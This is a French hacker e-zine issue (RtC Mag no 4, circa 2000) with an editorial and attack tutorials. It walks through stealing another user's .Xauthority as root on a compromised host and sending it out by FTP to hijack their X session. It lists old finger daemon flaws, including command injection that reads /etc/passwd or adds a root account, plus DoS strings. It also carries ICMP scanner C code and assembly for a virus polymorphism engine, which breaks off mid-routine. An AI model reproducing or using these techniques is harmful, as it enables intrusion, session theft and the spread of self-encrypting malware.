                               RtC MaG no 4

******************************************************************************
******************************************************************************
_____________________________		
|       |          |   ______|      Call us: Par4noID, SnEaKie
|    ___|___    ___|   |                     SLy, S/asH, 
| |\  \     |   |  |   |_____                Androgyne, MoRPhEe 
|_| \__\    |___|  |_________|      http://www.rtc.fr.st 
					 			
******************************************************************************
******************************************************************************

DISCLAIMER:
	
  LES AUTEURS NE PEUVENT EN AUCUN CAS ETRE TENUS RESPONSABLES DE L'UTILISATION
FRAUDULEUSE DE CE DOCUMENT.CELUI-CI A EN EFFET ETE CREE DANS LE SOUCI DE
PERMETTRE UNE MEILLEURE CONNAISSANCE DES SYSTEMES INFORMATIQUES ET NON DANS UN
BUT DESTRUCTEUR , ILLEGAL, ET SURTOUT IMMORAL.
  LES AUTEURS DECLINENT AINSI TOUTE RESPONSABILITE QUANT A L'UTILISATION
ILLEGALE DES INFORMATIONS FOURNIES CI DESSOUS.

--------------------------------{ www.rtc.fr.st }------------------------------
                                   E-Mails :
            RtC       :                           rtc@fr.st = rtcgang@yahoo.fr
            Par4noiD  :                           rtcparanoid@yahoo.fr
            SnEaKie   :                           rtcsneakie@yahoo.fr
            SLy       :                           rtcsly@yahoo.fr
            AndroGyne :                           rtcandrogyne@yahoo.fr
            S/asH     :                           sl4sh@ifrance.com
            MoRPhEe   :                           rtcmorphee@yahoo.fr

--------------------------------{ www.rtc.fr.st }------------------------------

[EDITO]

Ca y est, depuis 10 mois nous sommes en l'an 2000, dans 2 mois, le nouveau
millnaire. Et que voit-on ? Le monde n'a pas chang, toujours aussi violent.
On voit en Algrie que la guerilla continue : des violences justifies
uniquement par une interprtation extrmiste d'un livre dont le mot d'ordre est
la paix.
On voit qu'en Irlande la guerre n'est pas fini. Tous ceci pour une diffrence de
culture et de religion ; religions qui pourtant condamne la violence.
Mais il y a pire... Car dans ces deux pays la majorit condamne cette violence
tous comme au pays basque o les attentats pourrissent la vie de la majorit.
En effet le pire est par exemple, en ce jours o l'on apprends que juifs et
musulmans sont prs  repartir  la guerre pour un diffrent de religion.
Les juifs ont-ils dj oubli la Shoah ? Les musulmans qui sont prs  partir
dans cette guerre ont-ils lu le Coran ? Ce n'est pas le Djihad, juste une guerre
stupide entre deux peuples qui feraient mieux d'apprendre  se connaitre.
Pourquoi cette guerre est-elle sur le point de repartir ? Parce-que les
dirigeants de ce pays ne peuvent pas, chacun de leurs cts, faire des
concessions  l'autre, sous risque de ce voir assassiner ou renverser et ces
accords suspendus.
D'autres violences ont lieux, un peu partout dans le monde, pour un peu de
pouvoir ou simplement de libert...
Vous vous rappelez de ce kidnapping qui a eu lieu en juillet, il pour moi moins
grave que les autres faits, non pas que je ne le condamne pas, mais d'une part
les kidnappeurs essaient que la dignit et la sant physique des kidnapps
soient prservs mais aussi parce qu'elle part d'une plus noble intention qui
est leur libert. Pourquoi la communaut internationnale les condamne ? Tous
simplement parce que cela touche directement les pays du G8.
Une autres violence est faite par les employs de l'usine qui a ferm en
polluant purement et simplement cette plante. Ils ne veulent pas tre trait de
terroriste mais de quel droit agressent-ils la plante qui les fait vivre ?
Bien entendu, je comprends leur geste mais ils auraient d rflchir avant de
commettre cette action. En ralit, je ne leur en veut pas, celui que je condamne
est l'tat qui les a  traits comme des sous-tres en leur refusant purement et
simplement le droit  une existence dcente. Les actions des employs sont plus 
une maladresse qu'un rel acte d'agression.
En attendant, alors que ces actions se droulent pas trs loin de chez nous, que
l'tat adopte un comportement de chacun pour soi. Ils votent des lois condamnant
les hbergeurs internet et s'empressent de mettre main basse sur le rseau.
Et, pendant que les sites  caractre raciste ou pdophile pourrissent
l'internet, des hackers sont condamner pour le dlit de connaissance.
Vous nous condamnez car l'on existe sans loi ni frontire, sans couleurs de peau
ni religion, parce que l'on ne jugent pas une personne par la position sociale ou
sa gnalogie mais par son esprit et ses actes.
Mais croyez-vous rellement que l'introduction dans un systme soit plus grave que
ces gens  peine condamns qui polluent, tuent ou dtruisent ? Oh, bien sur, vous
rpondrez que nous dtruisons, nous aussi lorsque nous crashons un site... Mais
dans ce cas vous vous trompez d'interlocuteur. En effet, ce ne sont pas les
hackers qui ralisent ces crashs, ce sont seulement des lamers en mal de
pouvoir. Nous n'encourageons pas ce genre de comportement et le condamnons mme
(sauf quand le site attaqu porte atteinte  l'intgrit de l'Homme).
Ainsi vous pouvez nous condamnez, dire que nous sommes des criminels ; mais en
attendant, nous avons, pour notre part, notre me en paix : chose que tout le
monde ne peut pas prtendre.

                                               S/asH (sl4sh@ifrance.com)

----------------------------------Sommaire.c----------------------------------

{
	1/  CrashDuke = Redoxx ?  A DEGAGER!!!        ALL the RTC 
	2/  Hacker SSH et X11                         Par4noID
	3/  Hacking Finger in The NoSe                SLy
	4/  Le scanning ICMP echo                     S/asH
	5/  Polymorphisme engine                      Androgyne
	6/  SpyPorT vBeta                             Par4noID && SLy
	7/  Faille CuteFtp                            Recursiver (Guest)
	8/  Le SYN/ACK smurf                          S/asH
	9/  La bOmb infO du mAg                       Androgyne
	10/ Polymorphisme vbs: suite et fin           SLy
	11/ SYNscanning                               S/asH
	12/ Le routage dynamique                      SnEaKiE
	13/ RTClist                                   Androgyne
	14/ Le SofTcracking                           S/asH
	15/ Genetical K-Os                            Androgyne
	16/ IRCbot: PART II                           S/asH
	17/ PitBull Antivirus                         Androgyne
}

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
	                Pourquoi CrashDuke s'est-il fait vir ?
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

 Cf le niveau de ses mags Revolutions. (www.redoxx.fr.st).

S/asH s'exprime :
# find ./ - * | grep ["Redoxx"-"CrashDuke"] | rm -rf
 
All the RTC

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                                HACK SSH et X11
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

********* SSH et X11

  a/ Je pense qu'il n'ait plus besoin de prsenter SSH (secure shell) qui donne un classique remote shell securise (nous allons voir que tout est relatif). Le grand principe de ssh est de permettre une communication protge (dans le sens ou elle est crypte) qui vite de lacher les login/pass au premier sniffer venu (grand defaut de rlogin ou telnet). 

  b/ Je pense ne pas avoir besoin non plus de rappeler le principe du serveur graphique X11 (sinon j crois qu'il y a un bon article de cod4 la dessus dans norouteX). Rappelons juste en gros les diverses mthodes d'identification de ce serveur:

   * xhost: le serveur X11 possede une liste de controle d'acces, liste d'IP des ordinateurs ayant le droit de se connecter. Vous allez me dire "on va tout droit vers le spoof". Dtrompez-vous! En general un acces xhost nous permet tout au plus d'afficher les sorties-ecran de nos process sur l'ecran de la victime (par un simple export DISPLAY=victim.com): Ca peut en faire rire certains mais niveau hack c pas vraiment le pied ;) (a part pour les capture d'ecran avec xwd).

   * .Xauthority: les autres types d'identification repose sur les infos de ce fichier. Si vous possedez celles-ci, vous pouvez devenir client du serveur X11 de la victime; et cette fois-ci "un vrai client". J'entend par la que si vous possedez ce fichier vous partagez l'ecran de victime (avec tout ce que ca implique ;) ). 
   
   Vous l'aurez sans doute compris; notre but va tre de recuperer ce fichier .Xauthority.

   c/ Quel rapport existe-t-il en ssh et X11 ?

C'est probablement la question que vous vous posez. Eh bien, la rponse est plutot simple. Pour scuriser la connection, ssh va "proteger" la transmission des infos X. Ainsi ssh va cree ce que l'on nomme un secure channel non seulement pour vos echanges de donnees mais aussi pour les echanges de donnes X.
Comment ca marche?

Vous lancez votre client ssh et vous voulez vous connecter  un serveur ssh quelconque.

1. le client ssh recupere les infos de votre .Xauthority pour pouvoir communiquer avec votre serveur X.

    ---------------- 
    |   serveur X   |
    |               |
    |               |
    |               |
    |   client ssh  |
    |_______________|

      votre machine

2. Votre client ssh genere une valeur au hasard et l'envoie au serveur ssh.    

    ----------------                                 -----------------
    |   serveur X   |                                |     client X   |
    |               |                                |                |
    |               |  ------random valeur X-------> |                | 
    |               |                                |                |
    |   client ssh  |                                |   serveur ssh  | 
    |_______________|                                |________________|

      votre machine                           la machine qui fait tourner sshd

3. Le serveur ssh cree un X proxy  partir de ces infos. Puis le serveur ssh associe cette valeur  un nombre affect  une variable DISPLAY en placant cette valeur dans le .Xauthority (de la machine qui fait tourner sshd)

    ----------------                                 -----------------
    |   serveur X   |                                |     client X   |
    |               |                                |                |
    |               |                                |                | 
    |               |                                |     X proxy    |
    |   client ssh  |                                |   serveur ssh  | 
    |_______________|                                |________________|

      votre machine                           la machine qui fait tourner sshd

4. La communication peut alors avoir lieu entre client/serveur X via le chemin suivant:

    ----------------                                 -----------------
    |   serveur X   |                                |     client X   |
    |      ^        |                                |        ^       |
    |      |        |                                |        |       | 
    |      |        |      channel ssh securise      |     X proxy    |
    |   client ssh  |--------------------------------|---serveur ssh  | 
    |_______________|                                |________________|

      votre machine                           la machine qui fait tourner sshd

Quand le client X dmarre, il observe la valeur de DISPLAY et se connecte au X proxy. Il extrait alors la valeur correspondante au display du .Xauthority et la prsente au proxy. Ce dernier envoie alors l'authentificateur au client ssh qui fait la transcription et redirige le rsultat sur le serveurX. 




********* Bon, bon, bon : maintenant la prHAtiCK. 

On se place en situation d'attaque. Vous venez de prendre le controle d'une machine distante nomm Xproxy (en root) mais elle ne vous suffit pas. 
 
root@Xproxy# more /etc/inetd.conf

...
sshd .....
...

Yeah, elle fait tourner sshd. Bien c parti...
On note la valeur du display.

root@Xproxy# echo $DISPLAY
Xproxy:4.0

On regarde si par hasard quelqu'un d'autre ne serait pas connecter.

root@Xproxy# who

Bon personne... On attend

root@Xproxy# who
victim   p2  victim.dommage.org 6:24PM

Tiens si... Quelqu'un vient de se connecter: la valeur de son DISPLAY est donc de 5. On chope le .Xauthority lui correspondant.

root#xauth -f (home directory de victim)/.Xauthority extract ~/file proxy:5.0

bien reste  se l'envoyer sur sa machine

root@Xproxy# ftp Par4noID
Connected to Par4noID
220 RTC FTPserver ready.
Name: RTC
331 Password required for HackersGroup
...

root@Xproxy# exit

Par4noID@localhost# xauth merge file
Par4noID@localhost# xkey Xproxy.org:5.0

et voila un joli shell....

Problem que pose cette technique: si victim se deconnecte elle obtiendra:
 The following connections are open: 
X11 connection from Par4noID.le.hacker port X.

Conclusion: Faites vite ou passer par un autre shell.

EOF/ File from Par4noID

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
		 	        HACKing finger in the nose 
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Cette srie d'articles va expliquer toute l'utilit et les failles de finger.
Cet article est destin  tous ceux qui n'aurait toujours pas compris  quoi sert finger. Puis pour les failles avec finger, ca s'dresse  tous ceux que ca intressent.

I RAPPEL :

a) Le service 'finger' donne des informations utiles , puisqu'il permet d'obtenir des noms d'utilisateurs,(qqq fois avec leur mail ou leur numro de tlphone et des infos complmentaire), de dterminer si une machine est en train d'etre utilise, etc...
en vu de cracker les pass ou de faire du SE.


b) Je tape "finger @victime" et voici mon cran : 

[root@localhost /root]# finger @victime
[victime]
Login     Name      Tty  Idle  Login Time   Office     Office Phone 
root      root       *1    38  Jun 20 13:12 
root      root      *p0        Jun 20 13:50 
root      root      *p1        Jun 20 13:37 
root      root      *p2     1  Jun 20 13:38

   Donc la on voit qu'il y a 4 "root". Ca veut pas dire qu'il y a 4 root connect  la machine. Ca veut dire qu'il y par exemple 1 personne root sur victime et qui a lanc un diteur de texte et 2 autre xterm (la c'tait le cas). De plus on peut voir depuis combien de temps ils sont l (y a un qui est la depuis le 20 juin
 13:12)

c) Je tape ensuite "finger -l @victime" ce qui quivaut ici  "finger root@victime". Voici mon cran :

[root@localhost /root]# finger -l @victime
[victime]
Login: root                             Name: root
Directory: /root                        Shell: /bin/bash
On since Tue Jun 20 13:12 (CEST) on tty1    43 minutes 49 seconds idle
     (messages off)
On since Tue Jun 20 13:50 (CEST) on ttyp0 (messages off)
On since Tue Jun 20 13:37 (CEST) on ttyp1   6 minutes 15 seconds idle
     (messages off)
On since Tue Jun 20 13:38 (CEST) on ttyp2   7 minutes 7 seconds idle
     (messages off)
No mail.
No Plan.               

On voit donc les mme informations qu'avant plus d'autres (qui peuvent tre utile pour connatre sa victime):
- depuis combien de temps les tty** n'ont pas t touch (par exemple depuis 43 minutes et 49 seconds pour le tty1)
(Remarque : y a pas de temps pour tty0 car c'est un fentre o la victime tape des commandes ou du texte,...) 
- Son nom, o il commence et o est son bash
- un mail (c pas souvent qu'on en voit)
- des autres choses dans plan du genre :
Plan :
John Smith
Telnet password is my birthday

d) Dans "finger root@victime", je peux remplacer root par un autre utilisateur pour avoir des info sur lui. Je tape donc dans mon xterm "finger essai@victime" :

[root@localhost /root]# finger essai@victime
[victime]
finger: essai: no such user.                                 

Ah ouais, c'est vrai l'utilisateur essai n'existe pas sur la machine victime.

Je remplace donc "essai" par bin et j'obtiens a :

[root@localhost /root]# finger bin@victime
[victime]
Login: bin                              Name: bin
Directory: /bin                         Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Maintenant j'essais avec "cool" :

[root@localhost /root]# finger cool@victime
[victime]
Login: cool                             Name: cool
Directory: /                            Shell: /bin/bash
Last login Sun Jun 18 14:41 (CEST) on ttyp1 from localhost
No mail.
No Plan.            

J'en dduis donc qu'il y a bien un utilisateur cool sur la machine d'en face. Je peux donc essay de cracker la pass puisque que j'ai un login .

II Les FAILLES :

Bien sr que finger a des failles qui marche en gnral que sur des versions anciennes:

- finger redirection (Niveau de risque pour victime : Faible) + DoS
- Cfinger search.**@host (Niveau de risque pour victime : Faible/Moyen)
- finger dot at host (Niveau de risque pour victime : Moyen)
- finger zero at host (Niveau de risque pour victime : Moyen)
- in.fingerd |commandes@host bug (Niveau de risque pour victime : Elev :)
- finger bomb

                 ++++++++++++++++++++++++++++++++++++++++++++++++
Redirection de finger grce  fingerd : 

Systme cible potentiel : Solaris 2.5.1/2.6 , SunOS 4.1.4, IRIX 5.3 

Quelques daemons de finger permettent de faire suivre la requte finger  d'autres sites loigns. C'est  dire que les utilisateurs peuvent faire des requtes du type :

        finger username@hostA@hostB

La requte finger passera par hostB pour aller vers hostA. Cela sert  couvrir nos traces parce qu'HostA verra qu'il a recu une requte finger venant d'HostB au 
lieu du service original. 

Cette technique peut tre utilis pour passer au-travers d'un firewall s'ils ne sont pas correctement configurs. Cela peut arriver par finger user@host@firewall.

Aussi si le daemon finger d'un site vous permet de faire ceci, il y a ptit DoS  faire (d'ailleurs trs simple  comprendre):
        finger @host@host@host@host@host@host[...]@host@host@host

                 ++++++++++++++++++++++++++++++++++++++++++++++++
Cfinger search.*@host :

Systme cible potentiel : les systmes qui ont cfinger 1.2.2 ou 1.3.2 

Il y a un bug dans le daemon cfinger qui permet  n'importe qui d'obtenir 
la liste des utilisateurs du systme en faisant la commande :
- Si ils ont cfinger 1.2.2, il faut taper :
        finger search.*@victime
- Si ils ont cfinger 1.3.2, il faut taper :
        finger search.**@victime

Cette information a beaucoup d'intert, parcequ'avec elle, on a la liste des utilisateurs, et on n'a plus qu' cracker un des mots de passe par force brute en utilisant un autre service (telnet, ftp...)

                 ++++++++++++++++++++++++++++++++++++++++++++++++
finger dot at host :

Il y a un bug dans le service finger qui lui fait afficher la liste des comptes qui n'ont jamais t utiliss, quand quelqu'un fait la requte :
 
        finger .@victime
  
Cette liste va permettre de deviner le type de systme d'exploitation de la victime. Il va aussi dire quels comptes n'ont jamais t utiliss, ce qui nous fera souvent nous concentrer sur ceux-ci.

                 ++++++++++++++++++++++++++++++++++++++++++++++++
finger zero at host :

Il y a un bug dans le service finger qui lui fait afficher la liste des comptes qui n'ont jamais t utiliss, quand quelqu'un fait la requte :
 
        finger 0@victime

Ca sert donc  la mme chose qu'avant
 
                 ++++++++++++++++++++++++++++++++++++++++++++++++
in.fingerd |commandes@host bug :

Le daemon finger qui expdie avec dgux permettra  un utilisateur loign d'xecuter des commandes ,souvent avec l'uid root ou bin. Le daemon finger permet  n'importe qui d'executer des commandes en tant que root, en faisant des requtes telles que :

        finger |commandes__executer@cible

Coooooool!!!!!! Vous pouvez faire comme commandes "|/bin/cat /etc/passwd\n" si vous n'avez pas d'autres ides mais en y rflchissant un peu plus, vous vous rajouter un compte root sans pass, xhost + (pendant que vous y tes). C'est la fin de tout!!!!

Y a plusieurs faon pour voir si a marche :
1) essayer
2) Taper finger /W@host et
si vous recevez un truc comme a le systme peut tre vulnrable :
Login name: /W                          In real life: ???

Donc pour voir l'uid de in.fingerd qui est excut sur la machine d'en face, essayer : 

        finger "|/bin/id@host"

et esprer qu'il y a a qui apparraissent

        uid=0(root) gid=0(root)
ou
        uid=2(bin) gid=2(bin) groups=2(bin),3(sys),5(mail)

                 ++++++++++++++++++++++++++++++++++++++++++++++++
Finger Bomb :

Systme cible potentiel : SunOS 4.1.4 
Un DoS peut arriver quand une personne tape : 

        finger username@@@@@@@@@@@@@@@@@[...]@@@@hostA 

Le @ rptes avec finger peut conduire le daemon finger  se rpter rcursivement sur la mme machine (hostA) jusqu' ce que la machine plante ou ralentit  des vitesses inutilisables.

									SLy

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                  Le Scanning d'IP par requte ICMP Echo
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

L'ICMP Echo
-----------
L'ICMP (Internet Control Message Protocol) permet d'envoyer des messages de
contrles (notamment lorsqu'une route est ferme il nous le dit).
Je pourrais m'tendre plus avant ici sur le protocole ICMP mais ce n'est pas le
sujet de plus il y a de trs bon articles dessus (notamment celui de feu CoD4
dans NoRoute 3).
Je vais simplement expliquer ici le message echo et echo reply.
0                  7|8              15|16                                     31
|------------------------------------------------------------------------------|
|   type (0 ou 8)   |    code (0)     |           checksum                     |
|------------------------------------------------------------------------------|
|          identificateur             |       numro de squence               |
|------------------------------------------------------------------------------|
|                       donnes optionnelles (s'il y en a)                     |
|------------------------------------------------------------------------------|
Donc un message ICMP Echo request est identifi par le type 8 et le code 0.
L'identificateur est l pour identifier l'change echo et le numro de squence
pour dire  quel paquet on est (c'est le champ icmp_seq lors d'un ping).
A un message echo est normalement renvoy un message echo reply identifi par le
type 0 et le code 0 avec les mmes champs que le message echo (numro 
d'identification et de squence).

Faire de l'ip scanning par message ICMP Echo
--------------------------------------------
Le principe est simple pour chaque ip on envoie un paquet echo et on attend
un paquet echo reply avec les mmes champs.
On rcuprera un paquet icmp unreacheable (destination indisponible) si l'hte
n'existe pas et un time out s'il est indisponible.
Ainsi on peut scanner une srie d'ip assez rapidement.
Voil le code des fonctions ralisant le ping dans l'IP-scan de la RtC :
(le code entier est dispo sur le site de la RtC TecH)

PS : au fait, pour ceux que cela interresse, j'ai intgr bd.c dans le prog ping
(IDEM que le code de l'IP-Scan).

<-- begin icmpping.c -->
/******************************************************************************
 *                    icmpping.c by S/asH (member of RtC)                     *
 *                     IP Scanning - ICMP Ping Request                        *
 *                        This is a tOOl of RtC TecH                          *
 ******************************************************************************/

#include "rtcipscan.h"

/******************************************************************************
 * in_chksum --                                                               *
 *  Checksum routine for Internet Protocol family headers (C Version)         *
 ******************************************************************************/
unsigned short in_chksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
    sum += (sum >> 16);                   /* add carry */
    answer = ~sum;                        /* truncate to 16 bits */
    return(answer);
}


/******************************************************************************
 * send_icmp_echo -- Send an icmp echo request                                *
 * Input  : sock   : socket descriptor                                        *
 *          dest   : destination address                                      *
 *          ident  : icmp ident                                               *
 *          seq_nb : icmp sequence number                                     *
 *          data   : optional data                                            *
 *          sdata  : size of data                                             *
 * Output : return : success or failed                                        *
 ******************************************************************************/
int send_icmp_echo(int sock, struct sockaddr_in dest, u_short ident, u_short seq_nb, char *data, int sdata)
{
  char packet[2048];
  struct icmphdr *icmp     = (struct icmphdr*)packet;
  unsigned char  *datagram = (unsigned char*)(packet + 8);

  /* making the icmp header */
  memcpy(datagram, data, sdata);
  memset(packet, 0, 8);

  icmp->type = ICMP_ECHO;
  icmp->code = 0;
  icmp->un.echo.id = ident;
  icmp->un.echo.sequence = seq_nb;

  /* calculate the checksum */
  icmp->checksum = in_chksum((u_short*)packet, sdata+8);

  return sendto(sock, packet, 8+sdata, 0, (struct sockaddr*)&dest, sizeof(struct sockaddr));
}

/******************************************************************************
 * ping -- Send an icmp echo request and stand the reply                      *
 * Input  : sock     : socket descriptor                                      *
 *          dest     : destination address                                    *
 *          timeout  : time out for echo request                              *
 *          packsize : size of packet to send                                 *
 *          ident    : icmp ident                                             *
 *          seq_nb   : icmp sequence number                                   *
 * Output : return   : see section 'ping return values' in rtcipscan.h        *
 ******************************************************************************/
int ping(int sock, struct sockaddr_in dest, int timeout, int packsize, u_short ident, u_short seq_nb)
{
  int             rc;
  fd_set          rset;
  struct timeval  cur_time, beg_time, tv;
  char            buf[2048];
  struct iphdr   *ip   = (struct iphdr *) (buf);
  struct icmphdr *icmp = (struct icmphdr*)(buf + sizeof(struct iphdr));

  for(rc=0; rc<packsize-8; rc++) buf[rc] = rc; /* initialize packets */
  /* sending a ICMP echo request */
  gettimeofday(&beg_time,NULL);
  send_icmp_echo(sock,dest,ident,seq_nb, buf, packsize-8);
  tv.tv_sec = timeout / 1000; 
  tv.tv_usec = timeout * 1000; 

  /* check for reply */
  FD_ZERO(&rset);
  FD_SET(sock, &rset);
  tv.tv_sec = timeout / 1000; 
  tv.tv_usec = timeout * 1000;
  gettimeofday(&cur_time,NULL);
  while(timeout > DIFFTIME(beg_time, cur_time))
    {
      if ((rc=select(sock + 1, &rset, NULL, NULL, &tv)) == 0) 
	return HOST_TIMEDOUT;  /* time out */
      else if (rc < 0) return PING_ERROR;
      else 
	{
	  rc = read(sock,buf,2048);

	  if(rc==-1) return PING_ERROR; /* error in reading */
	  else if(rc>0)
	    {
	      if (ip->saddr == dest.sin_addr.s_addr) /* got a reply */
		{
		  if((icmp->type == ICMP_ECHOREPLY) && (icmp->un.echo.id == ident) && (icmp->un.echo.sequence == seq_nb))
		    return HOST_ANSWER;
		}
	      else if(icmp->type == ICMP_DEST_UNREACH) return HOST_UNREACHABLE;
	      gettimeofday(&cur_time, NULL);
	    }
	}
    }
  return HOST_TIMEDOUT; /* time out */
}
<-- end icmpping.c -->
<--                           File by S/asH                                  -->
[EOF]

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
				Polymorphisme Engine by Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

;Le code qui suit est le code du moteur de polymorphisme du projet K-oS

.model tiny
.code

	public Polymorphism

	extrn Get_Random:near

;/***************************************************************************
;                   Procdures de cryptage/dcryptage/polymorphisme 
;/***************************************************************************
;
;
;
;<<<< Polymorphism >>>> : routine principale (c'est elle qui coordonne tout)
; entre:
;     ds:si=source du code  encoder
;     es:di=adresse de l'espace de travail
;     cx=taille du code  encoder
;     dx=adresse du dbut de la partie crypte du virus dans le nouvel hte
; sortie:
;     aucune

Polymorphism proc near
	push ax
	push bx
	push cx
	push dx
	push bp

	call Get@P
    Get@P:
        pop bp                         ;le dcalage d  l'adressage relatif
        sub bp,offset Get@P            ;est dans bp

	call Initialize
	mov cx,[bp + decrypt_size]
	call Gen_decrypt_routine
	call Encrypt_code

	pop bp
	pop dx
	pop cx
	pop bx
	pop ax
	ret

Polymorphism endp


;<<<< Initialize >>>>
; entre:
;     cx=taille du code  encoder/dcoder
;     dx=adresse du dbut de la partie crypte du virus dans le nouvel hte
; sortie:
;     les buffers suivants sont mis  jour
;       -key1 : contient la cl de codage primaire
;       -key2 : contient la cl de codage secondaire
;       -size : contient la taille du virus
;       -decrypt_size : contient la taille de la routine de dcryptage
;       -start_add : contient l'adresse de dbut du dcryptage (pour initialiser si et di)
;     ainsi que les zones de fabrication de la routine de dcryptage correspondante

Initialize:
	mov word ptr [bp + virus_size],cx	;la taille (buffer)
	mov word ptr [bp + virus_size@],cx	;la taille (dcryptage)

	mov ax,0FFFFh
	call Get_random
	mov byte ptr [bp + key1],al		;la cl primaire (buffer)
	mov byte ptr [bp + key2],ah		;la cl secondaire (buffer)
	mov byte ptr [bp + key1@],al		;la cl primaire (dcryptage)
	mov byte ptr [bp + key2@],ah		;la cl secondaire (dcryptage)

	mov ax,0040h
	call Get_random	
	add ax,0060h
	mov word ptr [bp + decrypt_size],ax
	add dx,ax
	dec dx					;je ne sais pas d'o a vient
	mov word ptr [bp + start_add],dx	;l'adresse de dpart (buffer)
	mov word ptr [bp + start_add1@],dx	;l'adresse de dpart si (dcryptage)
	mov word ptr [bp + start_add2@],dx	;l'adresse de dpart di (dcryptage)

	ret

key1 db 0
key2 db 0
virus_size dw 0
decrypt_size dw 0
start_add dw 0			;pour initialiser si et di


;<<<< Encrypt_code >>>>
; entre:
;     ds:si=source du code  encoder
;     es:di=adresse de l'espace de travail
; sortie:
;     aucune

Encrypt_code:
	mov cx,[bp + virus_size]
	mov dl,[bp + key1]
	mov dh,[bp + key2]
    Crypt_loop:
	lodsb
	xor al,dl
	add dl,dh
	stosb	 		
	loop Crypt_loop
	ret


;<<<< Gen_decrypt_routine >>>>
; entre:
;     cx=nombre d'octets disponibles total
;     es:di=destination du code de la routine
; sortie:
;     aucune

Gen_decrypt_routine:
	sub cx,22				;nbr d'octets de la routine elle mme
	mov word ptr [bp + Bytes_left],cx
	mov cx,0Ah
	call Gen_code

    ; "mov cx,size" = [B9****]
	mov al,0B9h
	stosb
    virus_size@ equ $+1
	mov ax,0
	stosw

	mov cx,09h
	call Gen_code
	
    ; "mov si,start_add" = [BE****]
	mov al,0BEh
	stosb
    start_add1@ equ $+1
	mov ax,0
	stosw

	mov cx,08h
	call Gen_code

    ; "mov di,start_add" = [BF****]
	mov al,0BFh
	stosb
    start_add2@ equ $+1
	mov ax,0
	stosw

	mov cx,07h
	call Gen_code

    ; "mov dl,key1" = [B2**]
	mov al,0B2h
	stosb
    key1@ equ $+1
	mov al,0
	stosb

	mov cx,06h
	call Gen_code

    ; "mov dh,key2" = [B6**]
	mov al,0B6h
	stosb
    key2@ equ $+1
	mov al,0
	stosb

	mov cx,05h
	call Gen_code

    ;Decrypt_loop:
	push di				;on conserve l'adresse pour le loop


    ; "lodsb" = [AC]
	mov al,0ACh
	stosb

	mov cx,08h
	call Gen_code

    ; "xor al,dl" = [32C2]
	mov al,32h
	stosb
	mov al,0C2h
	stosb

	mov cx,08h
	call Gen_code

    ; "add dl,dh" = [02D6]
	mov al,02h
	stosb
	mov al,0D6h
	stosb

	mov cx,03h
	call Gen_code

    ; "stosb" = [AA]
	mov al,0AAh
	stosb

	mov cx,03h
	call Gen_code

    ; "loop Decrypt_loop" [E2**]
	mov al,0E2h
	stosb
	pop cx
	sub cx,di
	sub cx,01h
	mov al,cl
	stosb

	mov cx,00h
	call Gen_code

	ret

Bytes_left dw 0
;/***************************************************************************
;                               Gnrateur de code alatoire
;/***************************************************************************
;
;entre:
;    es:di=adresse de l'espace de travail
;    cx=nombres d'appels restants
;sortie:
;    aucune
;

Gen_Code: 
	push ax
	push bx
	push cx
	push dx

	or cx,cx
	jz Use_all
	mov ax,[bp + Bytes_left]
	xor dx,dx
	div cx
	call Get_random
	mov cx,ax
	sub word ptr [bp + Bytes_left],cx
	jmp Gen_label
    Use_all:
	mov cx,[Bytes_left + bp]
	sub word ptr [bp + Bytes_left],cx
    Gen_label:
	cmp cx,2
	mov ax,4
	jz Rand_instr
        cmp cx,1
        jz Wri_final_nop
        cmp cx,0
        jz Next0
	mov ax,9
    Rand_instr:
        call Get_Random
        mov bx, offset Instr_Add
        add bx,ax
        add bx,ax
	add bx,bp
        call cs:[bx]
	jmp Gen_label
    Next0:
	pop dx
	pop bx
	pop cx
	pop ax
	ret


Instr_Add dw offset Wri_pp
	  dw offset Wri_mov
	  dw offset Wri_nop
	  dw offset Wri_xchg
	  dw offset Wri_or1
	  dw offset Wri_and1
	  dw offset Wri_or2
	  dw offset Wri_and2
	  dw offset Wri_cmp


Get_Reg:
        mov ax,8
        call Get_Random
        ret

Wri_final_nop:
        call Wri_nop
	jmp Next0

Wri_final_instr:



Wri_pp:
        call Get_Reg
        push ax
        add al,50h
        stosb
        dec cx
        pop ax
        add al,58h
        stosb
        dec cx
        ret

Wri_mov:
        mov al,89h
        stosb
        dec cx
        call Get_Reg
        push bx
        mov bx,9
        mul bx
        pop bx
        add al,0c0h
        stosb
        dec cx
        ret

Wri_nop:
        mov al,90h
        stosb
	dec cx
        ret 

Wri_xchg:
	mov al,87h
	stosb
	dec cx
        call Get_Reg
        push bx
        mov bx,9
        mul bx
        pop bx
        add al,0c0h
        stosb
        dec cx
        ret

Wri_or1:
	mov al,0Bh
	stosb
	dec cx
        call Get_Reg
        push bx
        mov bx,9
        mul bx
        pop bx
        add al,0c0h
        stosb
        dec cx
        ret
	
Wri_and1:
	mov al,23h
	stosb
	dec cx
        call Get_Reg
        push bx
        mov bx,9
        mul bx
        pop bx
        add al,0c0h
        stosb
        dec cx
        ret

Wri_or2:
	mov al,83h
	stosb
	dec cx
        call Get_Reg
        add al,0c8h
        stosb
        dec cx
	mov al,00h
	stosb
	dec cx
        ret

Wri_and2:
	mov al,83h
	stosb
	dec cx
        call Get_Reg
        add al,0E0h
